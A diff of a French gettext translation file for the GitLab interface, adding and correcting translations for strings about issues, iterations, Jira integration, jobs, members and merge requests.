+msgstr "Un ticket est déployé pour la première fois en production"
msgid "Issue has been promoted to incident"
msgstr "Le ticket a été promu en incident"
msgid "Issue label"
-msgstr "Etiquette du ticket"
+msgstr "Étiquette du ticket"
msgid "Issue or merge request ID is required"
msgstr "Un ID de ticket ou de demande de fusion est requis"
@@ -23244,7 +23501,7 @@ msgid "Iterations|Number of upcoming iterations that should be scheduled at a ti
msgstr "Nombre d'itérations à venir qui doivent être planifiées au même moment."
msgid "Iterations|Open"
-msgstr ""
+msgstr "Ouvertes"
msgid "Iterations|Roll over issues"
msgstr "Reporter les tickets"
@@ -23277,7 +23534,7 @@ msgid "Iterations|This will delete the cadence as well as all of the iterations
msgstr "Cela supprimera la cadence ainsi que toutes les itérations qu'elle contient."
msgid "Iterations|This will remove the iteration from any issues that are assigned to it."
-msgstr ""
+msgstr "Cela supprimera l'itération de tous les tickets qui lui sont assignés."
msgid "Iterations|Title"
msgstr "Titre"
@@ -23310,7 +23567,7 @@ msgid "Japanese language support using"
msgstr "Prise en charge de la langue japonaise en utilisant"
msgid "Jira display name"
-msgstr ""
+msgstr "Nom affiché dans Jira"
msgid "Jira import is already running."
msgstr "L'importation Jira est déjà en cours d'exécution."
@@ -23355,7 +23612,7 @@ msgid "JiraConnect|Failed to create branch. Please try again."
msgstr "Échec de la création de la branche. Veuillez réessayer."
msgid "JiraConnect|GitLab for Jira App"
-msgstr ""
+msgstr "Appli GitLab pour Jira"
msgid "JiraConnect|Jira Connect Application ID"
msgstr "ID de l'Application Jira Connect"
@@ -23421,7 +23678,10 @@ msgid "JiraService|Base URL of the Jira instance."
msgstr "URL de base de l'instance Jira."
msgid "JiraService|Change GitLab version"
-msgstr ""
+msgstr "Changer de version de GitLab"
+
+msgid "JiraService|Continue setup in GitLab"
+msgstr "Poursuivre la configuration dans GitLab"
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr "Définissez le type des tickets Jira qui seront créés à partir des vulnérabilités."
@@ -23471,6 +23731,9 @@ msgstr "Les IDs doivent être une liste de nombres qui peuvent être séparés p
msgid "JiraService|If different from Web URL."
msgstr "Si différent de l'URL Web."
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr "Afin de terminer la configuration, vous devez effectuer quelques étapes dans GitLab."
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr "Les tickets créés à partir des vulnérabilités de ce projet seront des tickets Jira, même si les tickets GitLab sont activés."
@@ -23577,7 +23840,7 @@ msgid "Job %{jobName}"
msgstr "Tâche %{jobName}"
msgid "Job Failed #%{build_id}"
-msgstr ""
+msgstr "Échec de la tâche #%{build_id}"
msgid "Job has been erased"
msgstr "La tâche a été supprimée"
@@ -23615,9 +23878,6 @@ msgstr "Les tâches antérieures à la durée configurée sont considérées exp
msgid "Jobs|All"
msgstr "Toutes"
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr "Une erreur s'est produite lors du chargement de l'onglet des Tâches ayant échoué."
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr "Êtes-vous sûr(e) de vouloir continuer ?"
@@ -23796,7 +24056,7 @@ msgid "Job|This job is stuck because you don't have any active runners that can
msgstr "Cette tâche est bloquée parce que vous n'avez aucun exécuteur actif pouvant exécuter cette tâche."
msgid "Job|Update CI/CD variables"
-msgstr ""
+msgstr "Mettre à jour les variables CI/CD"
msgid "Job|Waiting for resource"
msgstr "En attente de ressource"
@@ -23859,7 +24119,7 @@ msgid "KEY"
msgstr "CLÉ"
msgid "Keep"
-msgstr ""
+msgstr "Conserver"
msgid "Keep artifacts from most recent successful jobs"
msgstr "Conserver les artéfacts des tâches réussies les plus récentes"
@@ -23933,9 +24193,6 @@ msgstr "Grappe de serveurs Kubernetes"
msgid "Kubernetes cluster"
msgstr "Grappe de serveurs Kubernetes"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "Le temps de création de la grappe de serveurs Kubernetes dépasse le délai d’expiration : %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "L'intégration et les ressources des grappes de serveurs Kubernetes sont en cours de suppression."
@@ -24056,7 +24313,7 @@ msgid "Language"
msgstr "Langue"
msgid "Language type"
-msgstr ""
+msgstr "Type de langage"
msgid "Large File Storage"
msgstr "Stockage de fichiers volumineux"
@@ -24082,7 +24339,7 @@ msgid "Last 90 days"
msgstr "Les 90 derniers jours"
msgid "Last Accessed On"
-msgstr ""
+msgstr "Dernier accès le"
msgid "Last Activity"
msgstr "Dernière Activité"
@@ -24096,9 +24353,6 @@ msgstr "Dernier pipeline"
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr "Dernière Synchro"
-
msgid "Last Used"
msgstr "Dernière Utilisation"
@@ -24124,7 +24378,7 @@ msgid "Last event"
msgstr "Dernier événement"
msgid "Last login"
-msgstr ""
+msgstr "Dernière connexion"
msgid "Last modified"
msgstr "Dernière modification"
@@ -24133,7 +24387,7 @@ msgid "Last month"
msgstr "Le mois dernier"
msgid "Last name"
-msgstr ""
+msgstr "Nom"
msgid "Last reply by"
msgstr "Dernière réponse de"
@@ -24142,7 +24396,7 @@ msgid "Last repository check (%{last_check_timestamp}) failed. See the 'repochec
msgstr "La dernière vérification du dépôt (%{last_check_timestamp}) a échoué. Voir les messages d'erreur dans le fichier « repocheck.log »."
msgid "Last seen"
-msgstr ""
+msgstr "Vu pour la dernière fois"
msgid "Last sign-in"
msgstr "Dernière connexion"
@@ -24160,13 +24414,13 @@ msgid "Last successful update %{time}."
msgstr "Dernière mise à jour réussie %{time}."
msgid "Last time verified"
-msgstr ""
+msgstr "Dernière vérification"
msgid "Last update"
msgstr "Dernière mise à jour"
msgid "Last update attempt"
-msgstr ""
+msgstr "Dernière tentative de mise à jour"
msgid "Last updated"
msgstr "Dernière mise à jour"
@@ -24190,7 +24444,7 @@ msgid "Last year"
msgstr "L'année dernière"
msgid "LastCommit|authored"
-msgstr ""
+msgstr "a écrit"
msgid "LastPushEvent|You pushed to"
msgstr "Vous avez poussé sur"
@@ -24223,7 +24477,7 @@ msgid "Lead time"
msgstr "Délai de mise à disposition"
msgid "Learn GitLab"
-msgstr ""
+msgstr "Apprendre GitLab"
msgid "Learn More"
msgstr "En savoir plus"
@@ -24231,6 +24485,9 @@ msgstr "En savoir plus"
msgid "Learn More."
msgstr "En savoir plus."
+msgid "Learn about signing commits"
+msgstr "En savoir plus sur la signature des validations"
+
msgid "Learn about signing commits with SSH keys."
msgstr "En savoir plus sur la signature des validations avec des clés SSH."
@@ -24300,9 +24557,6 @@ msgstr "En savoir plus sur les sièges dus"
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr "En savoir plus sur les fragments et les réplicas grâce à la documentation sur la %{configuration_link_start}configuration de Recherche Avancée%{configuration_link_end}. Les changements ne seront pas effectifs tant que vous n'aurez pas %{recreated_link_start}recréé%{recreated_link_end} l'index."
-msgid "Learn more about signing commits"
-msgstr "En savoir plus sur la signature des validations"
-
msgid "Learn more in the"
msgstr "Apprenezâ€en plus dans la"
@@ -24313,7 +24567,7 @@ msgid "LearnGitLab|%{percentage}%{percentSymbol} completed"
msgstr "Terminé à %{percentage}%{percentSymbol}"
msgid "LearnGitLab|Add code owners"
-msgstr "Ajouter des propriétaires de code"
+msgstr "Ajoutez des propriétaires de code"
msgid "LearnGitLab|Analyze your application for vulnerabilities with DAST"
msgstr "Rechercher des vulnérabilités dans votre application avec DAST"
@@ -24349,16 +24603,16 @@ msgid "LearnGitLab|Invite your colleagues"
msgstr "Invitez vos collègues"
msgid "LearnGitLab|Learn GitLab"
-msgstr ""
+msgstr "Apprendre GitLab"
msgid "LearnGitLab|Plan and execute"
msgstr "Planifier et exécuter"
msgid "LearnGitLab|Prevent unexpected changes to important assets by assigning ownership of files and paths."
-msgstr ""
+msgstr "Empêchez les modifications inattendues des actifs importants en assignant un propriétaire aux fichiers et aux chemins d'accès."
msgid "LearnGitLab|Ready to get started with GitLab? Follow these steps to set up your workspace, plan and commit changes, and deploy your project."
-msgstr "Prêt à démarrer avec GitLab? Suivez ces étapes pour configurer votre espace de travail, planifier et valider des modifications et déployer votre projet."
+msgstr "Prêt à démarrer avec GitLab ? Suivez ces étapes pour configurer votre espace de travail, planifier et valider des modifications et déployer votre projet."
msgid "LearnGitLab|Review and edit proposed changes to source code."
msgstr "Examiner et modifier les modifications proposées au code source."
@@ -24382,7 +24636,7 @@ msgid "LearnGitLab|Scan your code to uncover vulnerabilities before deploying."
msgstr "Analysez votre code pour en découvrir les vulnérabilités avant d'effectuer le déploiement."
msgid "LearnGitLab|Set up CI/CD"
-msgstr ""
+msgstr "Configurez l'intégration et la livraison continues"
msgid "LearnGitLab|Set up your first project's CI/CD"
msgstr "Configurez CI/CD pour votre premier projet"
@@ -24397,7 +24651,7 @@ msgid "LearnGitLab|Submit a merge request (MR)"
msgstr "Soumettre une demande de fusion (MR)"
msgid "LearnGitLab|Try GitLab Ultimate for free"
-msgstr ""
+msgstr "Essayez GitLab Ultimate gratuitement"
msgid "LearnGitLab|Try all GitLab features for 30 days, no credit card required."
msgstr "Essayez toutes les fonctionnalités de GitLab pendant 30 jours, aucune carte de crédit n’est requise."
@@ -24412,16 +24666,16 @@ msgid "LearnGitlab|- Included in trial"
msgstr "- Inclus dans l'essai"
msgid "LearnGitlab|Contact your administrator to start a free Ultimate trial."
-msgstr "Contactez votre administrateur pour démarrer un essai gratuit d'Ultimate"
+msgstr "Contactez votre administrateur pour démarrer un essai gratuit d'Ultimate."
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr "Création de votre expérience d'intégration..."
msgid "LearnGitlab|Ok, let's go"
-msgstr ""
+msgstr "D'accord, allons-y"
msgid "LearnGitlab|View administrator list"
-msgstr ""
+msgstr "Voir la liste des administrateurs"
msgid "Leave"
msgstr "Quitter"
@@ -24439,7 +24693,7 @@ msgid "Leave project"
msgstr "Quitter le projet"
msgid "Leave zen mode"
-msgstr ""
+msgstr "Quitter le mode zen"
msgid "Legacy burndown chart"
msgstr "Ancien graphique d'avancement"
@@ -24481,7 +24735,7 @@ msgid "LicenseCompliance|%{docLinkStart}License Approvals%{docLinkEnd} are inact
msgstr "Les %{docLinkStart}Approbations de licence%{docLinkEnd} sont inactives"
msgid "LicenseCompliance|Acceptable for use in this project"
-msgstr ""
+msgstr "Acceptable pour une utilisation dans ce projet"
msgid "LicenseCompliance|Acceptable license to be used in the project"
msgstr "Licence acceptable pouvant être utilisée dans le projet"
@@ -24574,7 +24828,7 @@ msgid "LicenseCompliance|Uncategorized"
msgstr ""
msgid "LicenseCompliance|Update approvals"
-msgstr ""
+msgstr "Mettre à jour les approbations"
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr "Vous êtes sur le point de supprimer la licence, %{name}, de ce projet."
@@ -24685,13 +24939,13 @@ msgid "Line changes"
msgstr "Lignes changées"
msgid "Link"
-msgstr ""
+msgstr "Lier"
msgid "Link %{issuableType}s together to show that they're related or that one is blocking others."
-msgstr ""
+msgstr "Reliez des %{issuableType}s pour mettre en évidence leur relation ou le fait d'en bloquer d'autres."
msgid "Link %{issuableType}s together to show that they're related."
-msgstr "Reliez les %{issuableType}s pour mettre en évidence leur relation."
+msgstr "Reliez des %{issuableType}s pour mettre en évidence leur relation."
msgid "Link (optional)"
msgstr "Lien (facultatif)"
@@ -24814,7 +25068,7 @@ msgid "List settings"
msgstr "Paramètres de la liste"
msgid "List the merge requests that must be merged before this one."
-msgstr ""
+msgstr "Listez les demandes de fusion qui doivent être fusionnées avant celle-ci."
msgid "List the visible events for %{project_link} using the %{events_api_link}."
msgstr "Lister les évènements visibles de %{project_link} en utilisant l'%{events_api_link}."
@@ -24883,7 +25137,7 @@ msgid "Lock File?"
msgstr "Verrouiller le fichier ?"
msgid "Lock memberships to LDAP synchronization"
-msgstr ""
+msgstr "Verrouiller les adhésions à la synchronisation LDAP"
msgid "Lock merge request"
msgstr "Verrouiller la demande de fusion"
@@ -24910,10 +25164,10 @@ msgid "Locked by %{fileLockUserName}"
msgstr "Verrouillé par %{fileLockUserName}"
msgid "Locked files"
-msgstr ""
+msgstr "Fichiers verrouillés"
msgid "Locked the discussion."
-msgstr ""
+msgstr "La discussion a été verrouillée."
msgid "Locks the discussion."
msgstr "Verrouille la discussion."
@@ -25024,7 +25278,7 @@ msgid "Machine Learning Experiments"
msgstr "Expériences d'Apprentissage Automatique"
msgid "Made this %{type} confidential."
-msgstr ""
+msgstr "Ce(tte) %{type} a été rendu(e) confidentiel(le)."
msgid "Mailgun"
msgstr "Mailgun"
@@ -25045,7 +25299,7 @@ msgid "Maintenance mode"
msgstr "Mode maintenance"
msgid "Make %{type} confidential"
-msgstr ""
+msgstr "Rendre %{type} confidentiel(le)"
msgid "Make adjustments to how your GitLab instance is set up."
msgstr "Effectuez des ajustements sur la façon dont votre instance GitLab est configurée."
@@ -25056,24 +25310,24 @@ msgstr "Effectuer et examiner les modifications dans le navigateur avec l'EDI We
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "Rendez chaque membre de votre équipe plus productif, quel que soit l’endroit où il se situe. GitLab Geo crée des miroirs en lecture seule de votre instance GitLab afin que vous puissiez réduire le temps nécessaire pour cloner et récupérer de gros dépôts."
+msgid "Make new users' profiles private by default"
+msgstr "Rendre les profils des nouveaux utilisateurs privés par défaut"
+
msgid "Make sure you choose a strong, unique password."
msgstr "Assurez-vous de choisir un mot de passe fort et unique."
msgid "Make sure you have the correct permissions to link your project."
-msgstr ""
+msgstr "Assurez-vous d'avoir les permissions correctes pour relier votre projet."
msgid "Make sure you save it - you won't be able to access it again."
-msgstr ""
+msgstr "Assurez-vous de le sauvegarder - vous ne pourrez plus y accéder."
msgid "Makes this %{type} confidential."
-msgstr ""
+msgstr "Rend ce(tte) %{type} confidentiel(le)."
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr "Gérer les fonctionnalités de l'EDI Web."
@@ -25138,7 +25392,7 @@ msgid "Manual"
msgstr "Manuel"
msgid "ManualOrdering|Couldn't save the order of the issues"
-msgstr ""
+msgstr "Impossible de sauvegarder l'ordre des tickets"
msgid "Manually link this issue by adding it to the linked issue section of the %{linkStart}originating vulnerability%{linkEnd}."
msgstr "Liez manuellement ce ticket en l'ajoutant à la section des tickets liés de la %{linkStart}vulnérabilité d'origine%{linkEnd}."
@@ -25173,6 +25427,9 @@ msgstr "Marquer ce ticket comme lié à un autre ticket"
msgid "Mark to do as done"
msgstr "Marquer une tâche comme terminé"
+msgid "Markdown"
+msgstr "Markdown"
+
msgid "Markdown Help"
msgstr "Aide sur Markdown"
@@ -25210,10 +25467,10 @@ msgid "MarkdownEditor|Click to expand"
msgstr "Cliquez pour développer"
msgid "MarkdownEditor|Indent line (%{modifierKey}])"
-msgstr ""
+msgstr "Indenter la ligne (%{modifierKey}])"
msgid "MarkdownEditor|Indent line (%{modifier_key}])"
-msgstr ""
+msgstr "Indenter la ligne (%{modifier_key}])"
msgid "MarkdownEditor|Outdent line (%{modifierKey}[)"
msgstr "Désindenter une ligne (%{modifierKey}[)"
@@ -25231,7 +25488,7 @@ msgid "Marked"
msgstr "Marqué"
msgid "Marked For Deletion At - %{deletion_time}"
-msgstr ""
+msgstr "Marqué pour suppression le - %{deletion_time}"
msgid "Marked as draft. Can only be merged when marked as ready."
msgstr "Marqué comme brouillon. Ne peut être fusionné que si marqué comme étant prêt."
@@ -25240,10 +25497,7 @@ msgid "Marked as ready. Merging is now allowed."
msgstr "Marquée comme prête. La fusion est maintenant autorisée."
msgid "Marked this %{noun} as ready."
-msgstr ""
-
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr "Ce ticket a été marqué comme un doublon de %{duplicate_param}."
+msgstr "Cette %{noun} a été marquée comme prête."
msgid "Marked this issue as related to %{issue_ref}."
msgstr "a lié ce ticket au %{issue_ref}."
@@ -25255,10 +25509,7 @@ msgid "Marks"
msgstr "Marque"
msgid "Marks this %{noun} as ready."
-msgstr ""
-
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr "Marque ce ticket comme un doublon de %{duplicate_reference}."
+msgstr "Marque ce(tte) %{noun} à l'état prêt."
msgid "Marks this issue as related to %{issue_ref}."
msgstr "Marque ce ticket comme lié à %{issue_ref}."
@@ -25354,7 +25605,7 @@ msgid "Maximum Terraform Module package file size in bytes"
msgstr "Taille de fichier maximale du paquet Module Terraform en octets"
msgid "Maximum Users"
-msgstr ""
+msgstr "Nombre maximum d'utilisateurs"
msgid "Maximum allowable lifetime for access token (days)"
msgstr "Durée de vie maximale permise pour les jetons d'accès (jours)"
@@ -25375,10 +25626,10 @@ msgid "Maximum attachment size (MB)"
msgstr "Taille maximale des pièces jointes (Mo)"
msgid "Maximum authenticated API requests per rate limit period per user"
-msgstr ""
+msgstr "Nombre maximum de requêtes d'API authentifiées par période de la limite de fréquence et par utilisateur"
msgid "Maximum authenticated web requests per rate limit period per user"
-msgstr ""
+msgstr "Nombre maximum de requêtes web authentifiées par période de la limite de fréquence et par utilisateur"
msgid "Maximum bulk request size (MiB)"
msgstr "Taille maximale de requête en bloc (Mio)"
@@ -25393,7 +25644,7 @@ msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation
msgstr "Concurrence maximale des requêtes en bloc Elasticsearch par opération d'indexation."
msgid "Maximum delay (Minutes)"
-msgstr ""
+msgstr "Délai maximal (Minutes)"
msgid "Maximum diff patch size"
msgstr "Taille maximale du correctif diff"
@@ -25459,13 +25710,13 @@ msgid "Maximum npm package file size in bytes"
msgstr "Taille de fichier maximale des paquets npm en octets"
msgid "Maximum number of %{name} (%{count}) exceeded"
-msgstr ""
+msgstr "Nombre maximum de %{name} (%{count}) atteint"
msgid "Maximum number of changes (branches or tags) in a single push for which webhooks and services trigger (default is 3)."
msgstr "Nombre maximum de modifications (branches ou étiquettes) au sein d'une poussée unique pour lequel les crochets web et les services se déclenchent (3 par défaut)."
msgid "Maximum number of comments exceeded"
-msgstr ""
+msgstr "Nombre maximum de commentaires atteint"
msgid "Maximum number of mirrors that can be synchronizing at the same time."
msgstr "Nombre maximum de miroirs pouvant être synchronisés en même temps."
@@ -25549,7 +25800,7 @@ msgid "Maximum snippet size"
msgstr "Taille maximale d'extrait"
msgid "Maximum time between updates that a mirror can have when scheduled to synchronize."
-msgstr ""
+msgstr "Durée maximale qu'il peut y avoir entre les mises à jour d'un miroir lorsqu'il est programmé pour être synchronisé."
msgid "Maximum time that users are allowed to skip the setup of two-factor authentication (in hours). Set to 0 (zero) to enforce at next sign in."
msgstr "Durée maximale pendant laquelle les utilisateurs sont autorisés à ignorer la configuration de l'authentification à deux facteurs (en heures). Définir sur 0 (zéro) pour l'imposer à la prochaine connexion."
@@ -25558,10 +25809,10 @@ msgid "Maximum time, in seconds, for a web terminal websocket connection. 0 for
msgstr "Durée maximale, en secondes, pour une connexion websocket du terminal web. 0 pour illimitée."
msgid "Maximum unauthenticated API requests per rate limit period per IP"
-msgstr ""
+msgstr "Nombre maximum de requêtes d'API non authentifiées par période de la limite de fréquence et par IP"
msgid "Maximum unauthenticated web requests per rate limit period per IP"
-msgstr ""
+msgstr "Nombre maximum de requêtes web non authentifiées par période de la limite de fréquence et par IP"
msgid "May"
msgstr "mai"
@@ -25599,6 +25850,9 @@ msgstr "Invitation à rejoindre le %{project_or_group} %{project_or_group_name}"
msgid "MemberRole|can't be changed"
msgstr "ne peut pas être modifié"
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr "ne peut pas être modifié car il est déjà assigné à un utilisateur. Veuillez plutôt créer un nouveau Rôle de Membre"
+
msgid "MemberRole|must be top-level namespace"
msgstr "doit être un espace de noms de premier niveau"
@@ -25622,11 +25876,11 @@ msgstr "Les membres d'un groupe ne peuvent voir que les projets auxquels ils ont
msgid "MembersOverage|If you continue, the %{groupName} group will have %{quantity} seat in use and will be billed for the overage."
msgid_plural "MembersOverage|If you continue, the %{groupName} group will have %{quantity} seats in use and will be billed for the overage."
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Si vous continuez, le groupe %{groupName} aura %{quantity} siège en cours d'utilisation et sera facturé pour le surplus."
+msgstr[1] "Si vous continuez, le groupe %{groupName} aura %{quantity} sièges en cours d'utilisation et sera facturé pour le surplus."
msgid "MembersOverage|You are about to incur additional charges"
-msgstr ""
+msgstr "Vous êtes sur le point d'engager des frais supplémentaires"
msgid "MembersOverage|Your subscription includes %d seat."
msgid_plural "MembersOverage|Your subscription includes %d seats."
@@ -25636,6 +25890,9 @@ msgstr[1] "Votre abonnement comprend %d sièges."
msgid "Membership"
msgstr "Abonnement"
+msgid "Members|%{group} by %{createdBy}"
+msgstr "%{group} par %{createdBy}"
+
msgid "Members|%{time} by %{user}"
msgstr "%{time} par %{user}"
@@ -25645,8 +25902,23 @@ msgstr "%{userName} est pour le moment un utilisateur LDAP. Modifier ses permiss
msgid "Members|2FA"
msgstr "A2F"
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr "Un groupe doit avoir au minimum un propriétaire. Pour quitter ce groupe, assignez un nouveau propriétaire."
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr "Un groupe doit avoir au minimum un propriétaire. Pour supprimer le membre, assignez un nouveau propriétaire."
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr "Le propriétaire d'un projet personnel ne peut pas être retiré."
+
+msgid "Members|Access granted"
+msgstr "Accès accordé"
+
+msgid "Members|Activity"
+msgstr "Activité"
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
-msgstr ""
+msgstr "Une erreur s'est produite lors de la tentative pour activer l'outrepassement de LDAP, veuillez réessayer."
msgid "Members|An error occurred while trying to revert to LDAP group sync settings, please try again."
msgstr "Une erreur s'est produite lors de la tentative pour rétablir les paramètres de synchronisation du groupe LDAP, veuillez réessayer."
@@ -25666,11 +25938,11 @@ msgstr "Êtes-vous sûr(e) de vouloir quitter « %{source} » ?"
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr "Êtes-vous sûr(e) de vouloir supprimer « %{groupName} » ?"
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
-msgstr "Êtes-vous sûr(e) de vouloir supprimer %{usersName} de « %{source} » ?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
+msgstr "Êtes-vous sûr(e) de vouloir retirer %{userName} de « %{group} » ?"
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
-msgstr "Êtes-vous sûr(e) de vouloir supprimer ce membre orphelin de « %{source} » ?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
+msgstr "Êtes-vous sûr(e) de vouloir retirer ce membre orphelin de « %{group} » ?"
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
msgstr "Êtes-vous sûr(e) de vouloir révoquer l'invitation pour %{inviteEmail} à rejoindre « %{source} » ?"
@@ -25678,9 +25950,15 @@ msgstr "Êtes-vous sûr(e) de vouloir révoquer l'invitation pour %{inviteEmail}
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr "Êtes-vous sûr(e) de vouloir retirer votre demande d'accès pour « %{source} »"
+msgid "Members|Cannot leave \"%{source}\""
+msgstr "Impossible de quitter « %{source} »"
+
msgid "Members|Direct"
msgstr "Direct"
+msgid "Members|Direct member by %{createdBy}"
+msgstr "Membre direct par %{createdBy}"
+
msgid "Members|Disabled"
msgstr "Désactivé"
@@ -25708,6 +25986,9 @@ msgstr "Hérité"
msgid "Members|LDAP override enabled."
msgstr "Outrepassement de LDAP activé."
+msgid "Members|Last activity"
+msgstr "Dernière activité"
+
msgid "Members|Leave \"%{source}\""
msgstr "Quitter « %{source} »"
@@ -25735,6 +26016,12 @@ msgstr "Rechercher des groupes"
msgid "Members|Search invited"
msgstr "Rechercher les invités"
+msgid "Members|User created"
+msgstr "Utilisateur créé"
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr "Vous ne pouvez pas vous retirer vous-même d'un projet personnel."
+
msgid "Member|Deny access"
msgstr "Refuser l'accès"
@@ -25751,7 +26038,7 @@ msgid "Merge"
msgstr "Fusionner"
msgid "Merge Conflicts"
-msgstr ""
+msgstr "Conflits de fusion"
msgid "Merge Request"
msgstr "Demande de fusion"
@@ -25805,7 +26092,7 @@ msgid "Merge immediately"
msgstr "Fusionner immédiatement"
msgid "Merge in progress"
-msgstr ""
+msgstr "Fusion en cours"
msgid "Merge locally"
msgstr "Fusionner localement"
@@ -25832,7 +26119,7 @@ msgid "Merge request commits"
msgstr "Commits de demande de fusion"
msgid "Merge request dependencies"
-msgstr ""
+msgstr "Dépendances de la demande de fusion"
msgid "Merge request events"
msgstr "Événements de demande de fusion"
@@ -25865,7 +26152,7 @@ msgid "Merge requests can't be merged if the status checks did not succeed or ar
msgstr "Les demandes de fusion ne peuvent pas être fusionnées si les vérifications d'état ont échoué ou sont toujours en cours d'exécution."
msgid "Merge the feature branch into the target branch and fix any conflicts. %{linkStart}How do I fix them?%{linkEnd}"
-msgstr ""
+msgstr "Fusionnez la branche de fonctionnalité dans la branche cible et corrigez les conflits. %{linkStart}Comment puis-je les corriger ?%{linkEnd}"
msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr "Fusion indisponible : les demandes de fusion dans un nœud Geo secondaire sont en lecture seule."
@@ -25880,7 +26167,7 @@ msgid "Merge when pipeline succeeds"
msgstr "Fusionner lorsque le pipeline réussit"
msgid "Merge..."
-msgstr ""
+msgstr "Fusionner..."
msgid "MergeConflict|Commit to source branch"
msgstr "Valider sur la branche source"
@@ -25889,13 +26176,13 @@ msgid "MergeConflict|Committing..."
msgstr "Validation en cours..."
msgid "MergeConflict|HEAD//our changes"
-msgstr ""
+msgstr "HEAD//nos modifications"
msgid "MergeConflict|Use ours"
-msgstr ""
+msgstr "Utilisez les nôtres"
msgid "MergeConflict|Use theirs"
-msgstr ""
+msgstr "Utilisez les leurs"
msgid "MergeConflict|conflict"
msgstr "conflit"
@@ -25904,7 +26191,7 @@ msgid "MergeConflict|conflicts"
msgstr "conflits"
msgid "MergeConflict|origin//their changes"
-msgstr ""
+msgstr "origin//leurs modifications"
msgid "MergeRequestAnalytics|Assignees"
msgstr "Assignés"
@@ -25925,16 +26212,16 @@ msgid "MergeRequestAnalytics|Pipelines"
msgstr "Pipelines"
msgid "MergeRequestAnalytics|Time to merge"
-msgstr ""
+msgstr "Temps jusqu'à la fusion"
msgid "MergeRequestApprovals|Define approval rules and settings to ensure %{link_start}separation of duties%{link_end} for new merge requests."
-msgstr ""
+msgstr "Définissez des règles et des paramètres d’approbation pour garantir %{link_start}la séparation des fonctions%{link_end} pour les nouvelles demandes de fusion."
msgid "MergeRequestApprovals|Enforce %{link_start}separation of duties%{link_end} for all projects."
-msgstr ""
+msgstr "Imposer la %{link_start}séparation des fonctions%{link_end} pour tous les projets."
msgid "MergeRequestApprovals|Enforce %{separationLinkStart}separation of duties%{separationLinkEnd} for all projects. %{learnLinkStart}Learn more.%{learnLinkEnd}"
-msgstr ""
+msgstr "Imposez la %{separationLinkStart}séparation des fonctions%{separationLinkEnd} pour tous les projets. %{learnLinkStart}En savoir plus.%{learnLinkEnd}"
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr "Mise en commentaire des lignes %{selectStart}start%{selectEnd} à %{end}"
@@ -25961,16 +26248,16 @@ msgid "MergeRequests|Squashing not allowed: This project doesn't allow you to sq
msgstr "Écrasement non autorisé : Ce projet ne vous autorise pas à écraser les commits lors de la fusion."
msgid "MergeRequests|Thread stays resolved"
-msgstr ""
+msgstr "Le fil de conversation reste résolu"
msgid "MergeRequests|Thread stays unresolved"
-msgstr ""
+msgstr "Le fil de conversation reste non résolu"
msgid "MergeRequests|Thread will be resolved"
-msgstr ""
+msgstr "Le fil de conversation sera résolu"
msgid "MergeRequests|Thread will be unresolved"
-msgstr ""
+msgstr "Le fil de conversation sera non résolu"
msgid "MergeRequests|View file @ %{commitId}"
msgstr "Afficher le fichier au commit %{commitId}"
@@ -25979,22 +26266,22 @@ msgid "MergeRequests|View replaced file @ %{commitId}"
msgstr "Afficher le fichier remplacé au commit %{commitId}"
msgid "MergeRequests|commented on commit %{commitLink}"
-msgstr ""
+msgstr "a commenté la validation %{commitLink}"
msgid "MergeRequests|started a thread"
-msgstr ""
+msgstr "a démarré un fil de conversation"
msgid "MergeRequests|started a thread on %{linkStart}an old version of the diff%{linkEnd}"
-msgstr ""
+msgstr "a démarré un fil de conversation sur %{linkStart}une ancienne version du diff%{linkEnd}"
msgid "MergeRequests|started a thread on %{linkStart}the diff%{linkEnd}"
-msgstr ""
+msgstr "a démarré un fil de conversation sur %{linkStart}le diff%{linkEnd}"
msgid "MergeRequests|started a thread on an outdated change in commit %{linkStart}%{commitDisplay}%{linkEnd}"
msgstr ""
msgid "MergeRequests|started a thread on commit %{linkStart}%{commitDisplay}%{linkEnd}"
-msgstr ""
+msgstr "a démarré un fil de conversation sur la validation %{linkStart}%{commitDisplay}%{linkEnd}"
msgid "MergeRequest|Approved by @%{username}"
msgstr "Approuvée par @%{username}"
@@ -26015,16 +26302,19 @@ msgid "MergeRequest|Compare %{target} and %{source}"
msgstr "Comparer %{target} et %{source}"
msgid "MergeRequest|Error dismissing suggestion popover. Please try again."
-msgstr ""
